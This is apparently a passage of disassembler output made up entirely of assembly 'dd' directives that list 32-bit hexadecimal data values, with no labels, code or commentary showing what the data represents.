dd 0A90525BEh, 0D38080B4h, 0B763471Ah, 0C73AB9F2h, 27D6125Dh
dd 0EE26E8ACh, 762C8994h, 3F689D68h, 0C943549Fh, 2442014h
dd 1668135Ch, 0B1A4310Fh, 3BBD7559h, 4E3740F4h, 7B2DB7D6h
dd 0D482A127h, 1290CE6Dh, 66F89C90h, 0BAFD92C4h, 58685821h
dd 0E90B5E76h, 0A648DD38h, 0A53D4667h, 85F7AD26h, 4CF959C3h
dd 2A5F09E1h, 193CE8DDh, 19FFA610h, 0D85C5B54h, 0E92C83D7h
dd 7FC2DF43h, 0CB4F25D9h, 64BF0941h, 0AD1E4EA7h, 0A7523F2Ah
dd 5F64E0C2h, 0BF3FD355h, 0E90B7C8Fh, 5B68D6F0h, 0F255C8Eh
dd 0C7BB491Ch, 13E5C021h, 6A2C9CF9h, 61F36809h, 9E609F7h
dd 6978470h, 4E6C102h, 0EA66C5Dh, 42C05FC6h, 547A214Bh
dd 0DBD5E916h, 0BB7A61AFh, 44982BE1h, 5D8B051h, 31352EBAh
dd 629DBA05h, 0A9A04696h, 62AED34Eh, 5DB8DBh, 2E685794h
dd 4FE9AC7Eh, 0C8FCC679h, 0B6596BBEh, 9BF18960h, 814D2433h
dd 3B18E96Dh, 0ABD92F01h, 9B06824h, 881B3411h, 3C6C45DDh
dd 490BFD3Dh, 5CA2862Ch, 0C123A4B1h, 76CAC244h, 0CCFE0050h
dd 0E4118E0Fh, 69FAD5A8h, 8AF42BC4h, 0BD3A5B87h, 0C32DFBA0h
dd 57293917h, 0FEDE8361h, 0E04BCF39h, 0E82970A3h, 3E5B8FB9h
dd 553FD48Eh, 0F861DD92h, 4B4CC139h, 10203E76h, 642D02E1h
dd 0C6E908BEh, 53524248h, 8860B307h, 0D5305BDAh, 568665Ah
dd 92E90AC8h, 29473011h, 749F5FFAh, 0A8026B5Fh, 0C40FA8FCh
dd 3EC1C383h, 667B52AAh, 0F7302845h, 1EC7F9F4h, 25DE3D7Ch
dd 16FA709Ah, 0AD3B45DDh, 3D097397h, 0A19E5FA5h, 5764C496h
dd 6361BFCCh, 2CC1352Eh, 0EC736AC9h, 95BEB93Ah, 994DC9A0h
dd 4513E7Ch, 0D1162D5h, 9C108A0h, 3BF934D2h, 3CEA697Dh
dd 0BF42A5C8h, 45F70D42h, 5D229261h, 0DFC14B46h, 5F0E3A77h
dd 685C57FAh, 0C4D54F95h, 590EE0h, 0DF121F2Dh, 5D80177h
dd 685B07A0h, 0E667E72Dh, 2F840C44h, 66BA787Fh, 0E30B2938h
dd 0A36803AAh, 745D131Dh, 921CFC2Dh, 99BE1009h, 0BF795E65h
dd 33154318h, 69B5287Fh, 882D4F2Bh, 0A85A5749h, 0E9DAF08Fh
dd 0AC784C30h, 836BBC8Eh, 1DBD782Ah, 0E204EF60h, 199C0005h
dd 13093972h, 0B198E9D9h, 0BEF73E23h, 8C8CF115h, 64BDE45Eh
dd 0CF248F94h, 82A67325h, 0DED5C93h, 7370205Fh, 2075E55Eh
dd 28D07401h, 13289A0Ch, 605BDA1Ch, 0E458773h, 4825144Dh
dd 0E07B8147h, 55C061F5h, 0F22D4007h, 646BC165h, 580243D7h
dd 0B9891D9h, 542F0AE9h, 25C283A6h, 69C769FCh, 16087308h
dd 88E085Dh, 54F0E122h, 0D057B461h, 9EE41504h, 95D292DEh
dd 21F23B78h, 9470C12h
dd 55E83E81h, 77E29C52h, 0D0F2EFAh, 653DC45Bh, 0CEEB2334h
dd 0DCF14F40h, 176B47Fh, 1524C0A4h, 5B651609h, 4231D8BFh
dd 0EB3F6662h, 28D2E808h, 0F6A0778h, 8E53182h, 42CFF301h
dd 146E4B33h, 850000FFh, 0F78E12Eh, 0CA6F6383h, 687E812Bh
dd 8AF14E48h, 5378A2C5h, 91D02CC5h, 8C19E37Ah, 0BBDA0A3h
dd 0F60E4E20h, 0B95A7FA7h, 0BF1B7A4h, 0F48B0711h, 0C45AEAF6h
dd 2BACB8h, 0A872412Dh, 5391055Eh, 13E30ECh, 0F20751F0h
dd 4CE91182h, 0BFB56DEBh, 680BB8CFh, 9F714EF1h, 109BD68Dh
dd 0F2D23278h, 32F0028h, 0A8E92EEAh, 0A2014E32h, 5B68C2B4h
dd 50A6C52h, 7C8818A3h, 0B0DFA821h, 54A86856h, 5AE59905h
dd 0EA3407D9h, 0B45A2B81h, 86206DBAh, 0AF879591h, 0B267C20Fh
dd 0E9841AFEh, 56AE1A06h, 8F0CA99Ah, 3802E845h, 68FBF45Fh
dd 0E85C2829h, 3B90EBEh, 1ECF943Eh, 7E640E7Eh, 0B74312B7h
dd 7C49F341h, 1AB3E0Eh, 0B65E855Ch, 264A168Dh, 0C9DE8FE9h
dd 0DB0B0DBh, 0FC3414DFh, 0E6EFDA40h, 64B7441Ch, 11DE6217h
dd 898BC110h, 891409CEh, 74E13246h, 7957524Ch, 145FA5FEh
dd 0DEFCB730h, 18368152h, 0E9F43766h, 43415928h, 221C055Ah
dd 2F87F3F2h, 755FC2ACh, 0D83976E0h, 0F75C929Fh, 1C711382h
dd 0C8419877h, 0F112957Fh, 1E13E057h, 0BE14D3ADh, 4EC33C0Eh
dd 0AB098F85h, 0F55EABE3h, 0DC1089h, 76F25906h, 2005090Ch
dd 150B088Bh, 524D604h, 8AC1DEF7h, 0DC3ADB3Ch, 8326E91Bh
dd 0FE9F576Fh, 1F841870h, 0EC895A60h, 49F126C5h, 5C974E26h
dd 16754A05h, 712929B5h, 556CA810h, 53129A0Eh, 0AAF1DD34h
dd 54817F62h, 729AA7A7h, 585418E8h, 16B4D397h, 2D99C0A1h
dd 6525035Eh, 82D6506Eh, 0C4D9E607h, 0AA188C62h, 0E984DEB6h
dd 1754FCF9h, 180C525Dh, 9ED254Eh, 1ED236EFh, 85BA8F5h
dd 2B09E904h, 2D60A96h, 4A4F5EB0h, 654C583h, 7885D113h
dd 0FC213E2Dh, 109E9C28h, 0AD553DA0h, 8075019Bh, 0E53B17EEh
dd 7D58D53Ch, 0AA9D1870h, 0B5FCCCB5h, 11FC27C6h, 6805C196h
dd 98E34A62h, 662D0705h, 4C7EE1Eh, 138648B3h, 0FDCBF347h
dd 0E59B12CDh, 9D2514Bh, 6102D392h, 643BAAE9h, 6EF78BF4h
dd 42B93DA8h, 0D5602CEh, 8195B844h, 0D858A6EAh, 9985E12Ah
dd 7C2D806Dh, 18F1FFDh, 36EFC24Ah, 884ACAC6h, 9F4598E3h
dd 0D2F3E23Ah, 6804DCAFh, 4C55B52Dh, 0FB094DCFh, 7545E569h
dd 7AA8BA01h, 27E0B48h, 0AC3C52A5h, 95CB7EE0h, 5C00F69Bh
dd 3156BA5Dh, 15B4CDAh, 5E4B1220h, 402546A4h, 6B48BE0Ch
dd 50352D92h, 717B9776h, 202F72CBh, 99A11F6Bh, 79F8D844h
dd 0F4BD2F6h, 0E34AFBA6h, 6E716C0h, 731EEC85h, 7DF88109h
dd 995F7722h, 0AF381549h, 1879D06Dh, 0C32D12Ah, 0DF16078Ch
dd 3CBB5970h, 9F30E982h, 3FF13D2Dh, 6CA92D21h, 0C687F474h
dd 6F104F2Ah, 0BC11E168h, 3BE860B6h, 0BEB81CF2h, 9B087199h
dd 0EF80002Bh, 0FD88513Ch, 1178E8B7h, 0BA1CC0ABh, 0C7A5320h
dd 0F3D78925h, 3DBD007Ah, 0E97D4FD2h, 30C80532h, 0E847D55Bh
dd 6894DFADh, 0A70BFC5Ah, 4909715Ah, 52C80600h, 0E9164ABBh
dd 0C4A94EEEh, 8446CBDEh, 68058251h, 1BAD14A4h, 0F751558Bh
dd 275F71A5h, 7D4267F6h, 5B2D00DCh, 8F4A87E6h, 0EC5F46FDh
dd 0F8BC2946h, 0EA2725BCh, 4E81006Ch, 64413D07h, 0F1711F29h
dd 0A5F36FE5h, 0AA5AE394h, 82873F3Ch, 0F0B1D082h, 0EA02800Ah
dd 0E1213370h, 0FC69D940h, 78D0F203h, 8DE350F4h, 0E9E0A0F5h
dd 9EDDF530h, 3A805256h, 834BDFF3h, 9032D36Eh, 7EF15E60h
dd 0C8CD60DEh, 0F0989E50h, 89E99B82h, 0F9703105h, 0C78D9F34h
dd 78A76C80h, 0B55F5D57h, 17292A89h, 0E3A1D184h, 8BBB3104h
dd 0BC938934h, 0F88F56C2h, 0EE87B03Eh, 1E932DE9h, 0E8081168h
dd 0F9D1295h, 0DCA46D5h, 0C7BA20E7h, 0D3D935A2h, 0FB4BED90h
dd 0F8FAF009h, 0BFD695F2h, 0BDD3925Ch, 811CED82h, 5A027FFEh
dd 80710E30h, 8C789D94h, 0A5E91068h, 85BD0253h, 57C69BE6h
dd 85E1DC2h, 214DC2Fh, 63433E7Eh, 48F8E41h, 0F3790DFEh
dd 3E9D08E7h, 0BB419641h, 0AE056209h, 7E25A5F7h, 0E27F7E92h
dd 0F3DDA2ECh, 6E494119h, 1CB2192h, 7E6F902Dh, 5859F42Ah
dd 5AD11BC1h, 0CC3ACB01h, 9E3DE945h, 0EDCCCA0Bh, 34AA4F7Ch
dd 0A8C21230h, 0B82EADFDh, 2195B7E8h, 58C708D4h, 3DC0FC5Fh
dd 9FC8553h, 8D37D0F3h, 0BF19B324h, 1B6E65Ah, 10EE1A8Eh
dd 1E6502E9h, 509D9A3Fh, 0ED5EBE1Eh, 6526958Ah, 0CC63AEDCh
dd 0A024E97Fh, 96F38F9h, 51672B73h, 91C28DAh, 5D683B67h
dd 0ED515778h, 54BE9608h, 27BD2680h, 40A1301Dh, 444ECF32h
dd 0E4D4A33h, 2998A1CEh, 1964EEF4h, 6C01A85Bh, 0F0C907ADh
dd 3ED9048Eh, 0EA5D7A72h, 0ADA92D65h, 0BB332C5Ah, 0C62C3384h
dd 9C859CAh, 0FA4FB753h, 0FE2DA7F9h, 68DE83F7h, 0E3AE85CCh
dd 0C0EECB28h, 2EEAD1E6h, 8AFC23Bh, 68058E6Bh, 0A6371BF0h
dd 0B67E4080h, 0F6E92774h, 0C3A88A51h, 0D913085Fh, 0C2B409BCh
dd 92D50685h, 1D175FDh, 0B07A5CF1h, 0D8031740h, 0F7D78741h
dd 470826D2h, 448C0058h, 0EF834A35h, 68F8017Eh, 87E6555Bh
dd 2BE50B07h, 0E9CFB0C0h, 0BA9F4F65h, 96C855D8h, 3991647Eh
dd 4A07C02Fh, 0BDF028A6h, 4B8002E8h, 0D601390Dh, 6CED2BC0h
dd 44B58B1h, 0B8941503h, 0E6110CA9h, 0DCE52FAEh, 30B8029Dh
dd 0C37F6EBDh, 53C80061h, 0E925CB61h, 1B1027Ah, 0F5185602h
dd 6763F75Dh, 517B3FF1h, 786D8BD0h, 3225CE2Fh, 0C101C3F2h
dd 0F4B82E1Bh, 0D5982151h, 80D0176Ah, 3C74A143h, 0A27EF929h
dd 72314208h, 72F60753h, 0B67BA57Ch, 6897BF75h, 0A2CEE15Dh
dd 304075F7h, 6AE14456h, 85973AE9h, 0C7DB00B8h, 12A3E91Bh
dd 42E35BC1h, 9E20E452h, 1FE0BF3h, 0AF4022DBh, 2D807E8Ah
dd 24B137Dh, 41D5013Ch, 2E77BA6Fh, 40C205B0h, 0CE482CF9h
dd 5B103871h, 2C568BBh, 18C98D94h, 0B0B353BBh, 0D8C339A1h
dd 0DCB0EB99h, 0B0BE5719h, 70FFFAEDh, 16C8894Dh, 0EB202779h
dd 30AD59F1h, 0AE02D47h, 365DE955h, 24524B5h, 58E37F15h
dd 78FD1030h, 5181A65Dh, 2B252668h, 550D798Ch, 0FE8268EEh
dd 3A88432Eh, 0B5392057h, 0C044B011h, 3F8E860Ch, 3325E9F8h
dd 841E5984h, 0D263F268h, 0C0E492CFh, 0E97011BCh, 8CB24BE2h
dd 0EA31687Eh, 0DD4D1D0Fh, 70800005h, 31506E9Ch, 0CC5AF27Dh
dd 64EB3D40h, 0F630101Ch, 0BD0D7B0Bh, 0DB2DAC10h, 88816F9Dh
dd 8A505F37h, 1B2C2DFEh, 0E910C164h, 0C740CC63h, 35E06FFAh
dd 0A45897A0h, 822C0F2Eh, 99A86DF6h, 8A170879h, 7F90439Ah
dd 2D6F601Ah, 4F5C4106h, 0BA274E80h, 28CA31E8h, 0BCEF4A59h
dd 0C2018BFDh, 0EF8CED04h, 8B3912CBh, 0A5CDE85Eh, 0B3E117FBh
dd 60979F71h, 0F4B9AC0h, 0E72CEF81h, 0AFF77481h, 0B52F743Ch
dd 7E565527h, 23E2E0E3h, 2D0479F8h, 96D02E4h, 1619C4BEh
dd 127B8A07h, 1FA9ED68h, 0ADFC9C2Eh, 9708467Eh, 8C50147Bh
dd 330A2600h, 5310B81Dh, 315CC30Bh, 0C22302C8h, 65BB0078h
dd 204EBC05h, 9087B9A1h, 0C5855815h, 12D7804Ah, 274C9250h
dd 0AE1063D0h, 0D8A292C5h, 9FE97F89h, 24E01CCBh, 0D8FBC40Bh
dd 1F3C36F5h, 60C6093h, 5BB1CE7Dh, 7D0F989h, 2021FDEAh
dd 32BAFA95h, 0C4DF5789h, 0EA684C45h, 77DE899Eh, 1518CB0h
dd 0E3C377C0h, 0A44B0436h
dd 0D4459724h, 0DA16FD2Ch, 1A6326D1h, 0F1C4696Ch, 348B04B4h
dd 474B8AA3h, 0E797B06Dh, 1B9AD316h, 0F54B7A50h, 0F380EEBEh
dd 187B5BD3h, 65DD4889h, 0C6EA2919h, 0EC0E2F7h, 0C62F3049h
dd 1373582Eh, 11DEF3Bh, 34F1FC9h, 0A0A42F74h, 9C8B6B0h
dd 20FFE7D1h, 78CB797Eh, 15A8201h, 0F7A06F20h, 360BF23Ah
dd 5038E302h, 0C0D29351h, 0BB535784h, 8F253F39h, 0B938E052h
dd 1D060BFCh, 0CD8310Eh, 2EE63B35h, 2C36483h, 135B90Ah
dd 0EEF218BDh, 0D8779369h, 0A3435515h, 957419F0h, 0A0F6B32Eh
dd 799FCA42h, 0D505C00Bh, 72500F01h, 8885BF1h, 45D0837Ah
dd 7D7A1469h, 44856C4Ah, 8B0B8DAAh, 9147ABEBh, 4EE85933h
dd 0B0AE9009h, 0DEF701E9h, 0E5C1F587h, 50F33F07h, 0BEEE40h
dd 14EF62EEh, 116E7E9h, 7A728094h, 99492D4Dh, 578D41D1h
dd 0E17B8B8Ch, 13D43A8Ah, 6EAEAA82h, 0EC544FD7h, 0CD09DE7Ch
dd 5130FE62h, 3C5CF45Bh, 95FE6B7h, 307F2138h, 62B7EC96h
dd 8029831Ah, 3102BFFCh, 0EBF761F0h, 9F85283Bh, 21747A04h
dd 0B7FF28E9h, 0D72A7B59h, 13A03CFBh, 5DEA62CFh, 0BCBB831h
dd 0EA2C0AE9h, 0AD58283Dh, 39A74125h, 0B801D8E6h, 619C0540h
dd 0FA99C47Bh, 0A366FC12h, 38E30B5Ch, 2E00417Bh, 0D0B3F01Eh
dd 5B5B58F8h, 189474ACh, 897DEF4Bh, 29C9A268h, 9778CEAh
dd 5099DE31h, 7D5284E9h, 3507019Fh, 10CF4667h, 0E761DD4h
dd 512506BEh, 40246B43h, 0BB3452D8h, 0F5BE490h, 0F8212806h
dd 0CB60B59Dh, 0BF0B5753h, 0FDDF6B6Ch, 0C81C322h, 0BEE90E75h
dd 7F00F353h, 59C0C645h, 6FB40557h, 0C81A35E9h, 3A1E9438h
dd 3B826910h, 753CE473h, 2DBFE702h, 0DFADDDD1h, 7BF9CD93h
dd 0D2752956h, 0D7C01C17h, 9D5A0203h, 569DAB5Eh, 0C53122F1h
dd 0E3B6E1CAh, 594F0D2Ah, 0A8AF2C27h, 347A4A68h, 319DF34Ch
dd 0CA8868B1h, 72E9D7C8h, 3FFE97DDh, 0CFB77E49h, 24CDF0C5h
dd 93E1BE6Eh, 788F8DAh, 0CA685250h, 0FF611411h, 0BCF8872Dh
dd 5CEC0B3Ch, 0FFC126E9h, 0D5C03E55h, 9A1E6372h, 1CD8B6C2h
dd 0F19EEC1h, 1A9108Bh, 89C90B6Bh, 0CDE17BB4h, 104CCA6Eh
dd 12DC0E1h, 5E2DD9FBh, 1C6E2C03h, 1E80BA89h, 682E9126h
dd 0C5A9115Fh, 0B5002F7Eh, 0D839F2BAh, 981754Ch, 238827A5h
dd 223620FDh, 0C170E00Fh, 0B7052F1Ch, 46F7063h, 1B7E12C0h
dd 36E90F32h, 0C2A4F7FDh, 0C28564Dh, 125AF180h, 244E40DCh
dd 2DE6158h, 46AA5C31h, 1AC87509h, 52F0191h, 3EE7C10h
dd 905CE953h, 595D3416h, 7AF886E1h, 0BE016212h, 2D002CE5h
dd 7A652598h, 35552623h, 0C1E82CEh, 0AC850AEEh, 881BAE5h
dd 546E29A6h, 0D112B6A4h, 0C48AE2A0h, 8DBBC03Ah, 0CB6221B1h
dd 601BB2A1h, 3879708Bh, 0DB447E4Bh, 55028B33h, 5579FE68h
dd 0D84516BFh, 39B176E4h, 0C15FD351h, 7505CCCh, 17C8E5D0h
dd 0F1806D2h, 1938448Ch, 60AFF504h, 81EF3F2Ah, 0DEC5C2h
dd 17E80548h, 8422836h, 5F00ED09h, 0BB43E22Dh, 9569F641h
dd 79DF8B62h, 4A559F51h, 13040C9h, 5D1DE28Ch, 0E4412131h
dd 1413BBE6h, 21FE3B19h, 72276C9Bh, 3950161h, 800F04E3h
dd 498730C9h, 0F59179EBh, 1BE6C0C5h, 237CC036h, 7C7EE101h
dd 0F2E91D65h, 58FA012Ah, 3F55595Ah, 0FC7F78E3h, 8092944Dh
dd 3AB0DC03h, 9C90CD31h, 985A6B40h, 42240B63h, 0C4556FD5h
dd 65E91ACEh, 52D7A22Bh, 0F229A0A3h, 0A93A1F1Eh, 2DD0929Bh
dd 3FF47AD0h, 157817F6h, 17FF20Dh, 352B202Fh, 122F05E9h
dd 0F902EAF2h, 0FE0114ACh, 0E95778CBh, 0C9376630h, 251AA968h
dd 47F02E4Bh, 0B4E55B09h, 0F3225DD1h, 9B5D1B0Ch, 0F1C7C937h
dd 12FAA26Bh, 9D91A268h, 0F5F7F2E2h, 0FDD3D7F7h, 553C895Bh
dd 48B71E46h, 96165465h, 297EC2B7h, 9A92AEC6h, 0F2C4F6B5h
dd 66645FDh, 5B5F17E9h, 4EAAD51h, 10F3BE86h, 8BBAC02Eh
dd 0A2CCF6FCh, 6F4D6AF8h, 0C1FE12F7h, 0C0DD805h, 0D6064FBAh
dd 0E1968324h, 0F80520FEh, 0B9FB00BDh, 6F682038h, 7A62942Fh
dd 51603AC1h, 55994207h, 7E92C202h, 40734226h, 5B3AF030h
dd 0DC591059h, 4671DE20h, 0D8B5C498h, 387603D4h, 9335562Eh
dd 40530BA0h, 48597CB0h, 9A72D50h, 0ED1E803Ch, 5AF01D24h
dd 40C3A903h, 68155808h, 50782619h, 6C09D30Fh, 0C8596F97h
dd 2785405h, 870F1FB0h, 0C54BAC8h, 2A802BFh, 0C0D9293Ah
dd 81CA3FF4h, 2BB86B57h, 0C7DD518Bh, 85A2A720h, 9A5C6DC2h
dd 34516861h, 54C4003Ch, 0BFAFD108h, 4BA463F3h, 0A9C0B5D2h
dd 0C00476BAh, 557357F1h, 0CF890B05h, 12AE32E9h, 0A26CEB31h
dd 0F20525E9h, 0D1E711FCh, 0D1C83C9h, 5F618A16h, 7DFAD2C6h
dd 0AE9F1766h, 0DC6D88C6h, 0B16ABC4Ch, 99BBDA13h, 0EA0C5036h
dd 223742Eh, 0F50D7CADh, 1F2EE160h, 0E07E0141h, 210043A8h
dd 0DBF75B34h, 1D83E381h, 8F276736h, 46A107F3h, 5039E903h
dd 6C146897h, 91851895h, 6D96054Ch, 0BE1278E9h, 6468B830h
dd 0E016AB72h, 0E80D54BDh, 28D57787h, 606D2F7h, 1B850F4Dh
dd 450C4327h, 0FEC03E9h, 0B6B20A5Bh, 2EDC565Dh, 0C729001Bh
dd 5EFC158h, 9BCF8103h, 0B765D410h, 0DF30D791h, 9DFE01D8h
dd 0F9977416h, 0E15C120Dh, 5DE67B56h, 85CEB692h, 6F5359F4h
dd 33A09D02h, 0BA77F4Ch, 98653381h, 0BAD9255Eh, 9568D603h
dd 59BCA098h, 347E3F15h, 0E08859A8h, 0B309350Eh, 825C2603h
dd 0DF696516h, 788ED0A1h, 8BA2EF29h, 2BDB2977h, 514F5561h
dd 46896806h, 16675FCBh, 0CD8BB9Ah, 0F0BA41ADh, 5E7CB768h
dd 9C82969Ah, 7175726Ah, 0CBE94FFAh, 0D69BFAD6h, 1A24C904h
dd 24CF297Eh, 9BF6791h, 0A5E5FD14h, 0A838D96Bh, 0E4C2008h
dd 0F4EC160h, 92BCD288h, 51BA31A3h, 364925E3h, 1A152E10h
dd 0D613688Eh, 0EE5B91A2h, 0D1C0ED24h, 58EE1E5Ch, 71099E19h
dd 27D5E74h, 7FB179C8h, 3843198h, 6DB0BBD7h, 0B05006F7h
dd 0E2753458h, 0EDF3C062h, 0D898C202h, 2AB0B5F9h, 0C14EABE9h
dd 41910828h, 0C64560B8h, 0E78ABAB4h, 933FEF02h, 0A6140A25h
dd 689D2F1Ch, 16B6286Eh, 0F850107Fh, 0A09A1CB7h, 20761C2Fh
dd 5B5AB342h, 36B741A8h, 0F33F3BA7h, 6FC49EA0h, 162006CCh
dd 1DE16BDh, 43EC0955h, 0D1B568D0h, 0B687C7FDh, 0E92F064Bh
dd 666D84ECh, 560E88AAh, 348FFF45h, 0EB445455h, 8AEDF009h
dd 78B69E22h, 26C03EAh, 0B973E91Ch, 0EBB3AB85h, 31C8EFD3h
dd 2C3E600Eh, 275D86BAh, 4C9E0B59h, 7B85049Ah, 21824FC7h
dd 26C5982h, 278A2ECBh, 4B8242D7h, 0B364ACBh, 0BA62B257h
dd 0A10B458Fh, 5493537Bh, 0A97D27B1h, 38B55100h, 5339C580h
dd 0F6D7B71Ch, 4AF71EBCh, 0CBE3CFCFh, 93B082C7h, 602D00C4h
dd 905AD0F3h, 3815FB0h, 453918F7h, 0D79CE94Dh, 0BFD85242h
dd 2FE1C949h, 54A913F0h, 128CD1C3h, 0A8310304h, 285F05A8h
dd 11B86759h, 0B7EF5E2Ah, 0AD74DDB8h, 4A1682A7h, 824379B8h
dd 85ACA218h, 7BBDE582h, 3A2C8B74h, 0B1873C85h, 0A6817AF7h
dd 0B27AEBBDh, 2C48DF59h, 860F0126h, 6C011AF1h, 0CE01B5F0h
dd 0CA20E7Dh, 28A18670h, 71C3F55Bh, 0FCDB95A4h, 3C788608h
dd 5D2D0B48h, 12C5D19h, 8000B0BBh, 0C3E6F5F6h, 0F3489770h
dd 0E5B475E5h, 3A6E488h, 0D2F602B2h, 804AE8C9h, 2D2C2A13h
dd 1F6FB652h, 0D46ECE80h, 0FA4BC0EDh, 58C01973h, 7916976Fh
dd 0D0B4AC70h, 4756F13h
dd 1FA64088h, 98C42D59h, 0DEEB8821h, 0A7E79C05h, 2A88D189h
dd 0FD526566h, 75F6AA14h, 5301397Fh, 0B85B6192h, 0D5FCC54Dh
dd 0D3428DEFh, 2ADCCCE2h, 818FB609h, 0DEF68243h, 0D0500A85h
dd 0ED0984EEh, 4D235E4h, 4DFE1C01h, 50602BB2h, 8462BEA6h
dd 867D1EEAh, 0F70C0C12h, 0C276DD20h, 5FDE1892h, 84A0CBBh
dd 74974073h, 2584C3E5h, 0BD552E88h, 7328560Bh, 23300962h
dd 58F9309Dh, 32AAFCEh, 51BD0CF5h, 0ED703D23h, 33289518h
dd 82E55834h, 0B76EE07Dh, 0FE2EC7B5h, 0C209EEC7h, 12A4C4F4h
dd 0DBFD26BDh, 59F15E97h, 7BCBD92Eh, 58A0BCECh, 0AC4BDDE9h
dd 890E634Fh, 997EC037h, 0AF62D2BEh, 0FD5B672Ah, 0B0E9B041h
dd 0A1109DC5h, 0B1251F51h, 7C5880Ah, 0FF965D27h, 5E76FB01h
dd 2DB2055Dh, 0F83A6A68h, 0E35807D1h, 9FA4BE9h, 0A7DC5D5Ah
dd 2D1B445Ah, 8438F963h, 101D5205h, 0F54E77B1h, 0FF212B53h
dd 3A077908h, 50FC11D1h, 6C9C00B8h, 0DB0D4AEDh, 30EB0F54h
dd 395BCA34h, 0F7081842h, 0CC4861D8h, 89E4162Ah, 992A3ADDh
dd 0C569D34Eh, 0DA0104FCh, 5A43E2AFh, 0C38026F9h, 58FD4373h
dd 81527297h, 646B5A08h, 5812FBFDh, 0C13AD9A1h, 218D3FFh
dd 0A797D5Fh, 75BC29C9h, 0B5F25E98h, 855B7BB7h, 987D4468h
dd 0C8606FCBh, 771CBD26h, 553F249Bh, 7E3B8302h, 0E0201A58h
dd 0B91CEA8Ch, 0B35307E5h, 65DD07A8h, 14DE35Bh, 5095B252h
dd 0E3C9D488h, 1486E0A4h, 162DECB8h, 0F27339D6h, 5EABC82Bh
dd 12A4A431h, 0E67D1668h, 0A5E2D318h, 0DA77FF86h, 0F920B82Dh
dd 4AC88CBBh, 78D68361h, 60F565FCh, 11F4E94Ch, 91C223C0h
dd 2F62E35Ah, 98D7D329h, 0C40227D1h, 752A5C7h, 90D1D8F6h
dd 0E021C288h, 0ED1036D5h, 0AB0F1ECCh, 0AE504532h, 80B5D2B5h
dd 70109145h, 55DC46F6h, 0B4562028h, 68743416h, 1F98C242h
dd 0E5785DEFh, 46E512C1h, 0AAE73AB5h, 0E4414003h, 67D9275Ah
dd 4655ED0Fh, 388F2758h, 0D91904B2h, 685601B4h, 7438573Eh
dd 0BDF716C5h, 0A8C8DE1Fh, 0EC6804CCh, 0C9BBA85Eh, 258BF09Bh
dd 3CF7C329h, 3D1431E3h, 62EF280Ah, 0B9F81939h, 32D8598Ch
dd 24838266h, 64A43C1h, 39BAA8F1h, 1A7164AFh, 0F089161Fh
dd 27434C49h, 66035E9h, 0F6BD3C87h, 0CC7F5ABBh, 3A99029h
dd 1B590C76h, 0B197ABFh, 5EA5F729h, 29F2657Dh, 8D8E67FFh
dd 3D8C22B7h, 0DEB41031h, 0F2B0AD2Fh, 555A4945h, 0ADAB3F1h
dd 9CBF0479h, 2E2B813Fh, 0D1B37BE3h, 0C05AED94h, 0C02C59D7h
dd 0F55FCB90h, 92F40BDh, 29A7E143h, 0C0B39F83h, 0C8D9BE85h
dd 0A559B86Ah, 0A9B7FC04h, 3BC1E0EBh, 0F8DBE91Ch, 0E69E772Fh
dd 24B3AE20h, 0FB4FE01h, 254410B4h, 0C4F3EA5Fh, 0E044E985h
dd 0F734587Eh, 63F164DFh, 0A0E8103Bh, 0A985CA4Ch, 5CC0FA7Ah
dd 284716CDh, 1EDD28E6h, 24C95439h, 2853F81h, 8129674Ch
dd 75EAD1h, 5411685Ch, 0BC21C93Ah, 96183DC6h, 27BA150Bh
dd 0C54C0BCDh, 8023853Eh, 0DA35D226h, 0FA011502h, 0DB9005E9h
dd 23840C11h, 564CC93Dh, 9900D361h, 0CA95E82h, 65A82E68h
dd 995B65CCh, 31813F96h, 0FC48466Ch, 0DD01163Dh, 65630440h
dd 80FE126Ah, 7C32A433h, 4AEA084Eh, 399E5FFFh, 1208D734h
dd 0A9200985h, 842FA304h, 557F9B1h, 8D0FA4C1h, 0AE0DD5FEh
dd 6F7FB22Ch, 0AE16D18Fh, 0C42A5012h, 1A016809h, 511ECF59h
dd 2A7EDF42h, 25E2D04Fh, 0B3C852E9h, 21882C6h, 0A40C6E9Ch
dd 64F2D37h, 8831672h, 68140C40h, 9573D731h, 4981F244h
dd 0B11D3BEAh, 0E0F1EC2Ch, 0FCB82BE1h, 3792E9F0h, 4CD1F1B5h
dd 18B70BA8h, 0E4533C6Bh, 9C70955Fh, 791F6EEh, 66948A8h
dd 2749748Bh, 15EEB464h, 0F9C9CEBDh, 0A9EB0415h, 0E520AA30h
dd 893F028Fh, 40EC753Eh, 616C7418h, 3050382Dh, 2563F129h
dd 26C8982Eh, 0FCBD5452h, 86717A54h, 0CB685BE0h, 0CE46B77Ah
dd 2A76BF03h, 0EEBD6C07h, 99C0BD0Bh, 842E4E17h, 2D0FB07Fh
dd 3174C20Ch, 3F3157C3h, 2D053CD7h, 7B9F825h, 677C3559h
dd 49945C06h, 64DD6B17h, 85050BEh, 0DA058E58h, 0B312ED68h
dd 183D640Fh, 5AE1E50Eh, 4EA2944h, 2A2D0816h, 99596726h
dd 80966A1h, 1FDEB2FCh, 7B35C480h, 1D21B6A4h, 885A85F4h
dd 287321E5h, 307630ECh, 0F62C72B8h, 2714A1DBh, 2EBA7F8h
dd 53290F3h, 189D0157h, 7E7B0E37h, 823E5A04h, 0E023A816h
dd 4A1347E9h, 120EF701h, 63AB5BD9h, 0EED4F2C5h, 698984D8h
dd 2D51C07h, 55302955h, 7A95B6E6h, 5508822Bh, 0B92C3BEBh
dd 0E9D0705Ah, 755863BEh, 0EE850294h, 0B0EE3D65h, 34BA5539h
dd 0BF4E5E24h, 29023200h, 0FEF38910h, 0F4B95F8Eh, 592453DCh
dd 70036907h, 0B0401E72h, 301CB0E1h, 0C40C4B48h, 430DEC3Ah
dd 0C787CBE9h, 0F2230CD4h, 0B7CA900Eh, 582C3200h, 9B96F828h
dd 93EB9708h, 0B1C507F2h, 0ACCFB4EEh, 0C55A7B89h, 5CDE3CAAh
dd 0C878575Eh, 0BAF05A88h, 0F5F9BC2Dh, 6812332Ch, 0D62BBC95h
dd 5E0BAE01h, 0D2603DE6h, 4651B7FFh, 58E11D39h, 8321CE57h
dd 3C8161AAh, 62639ABBh, 9C12200Fh, 6D314405h, 0F9535BE9h
dd 2E26CBA0h, 17277C16h, 1ADE65ACh, 0D960F0ABh, 0F87A88F2h
dd 0C405934Bh, 0D0A8D331h, 17534E74h, 9352FF07h, 2A858380h
dd 7C0B606Dh, 53DE6CF6h, 678B015Fh, 30C97359h, 2C68C0A2h
dd 5BD636CAh, 6584E950h, 0AF0B0AB7h, 0D48DCB83h, 410A6802h
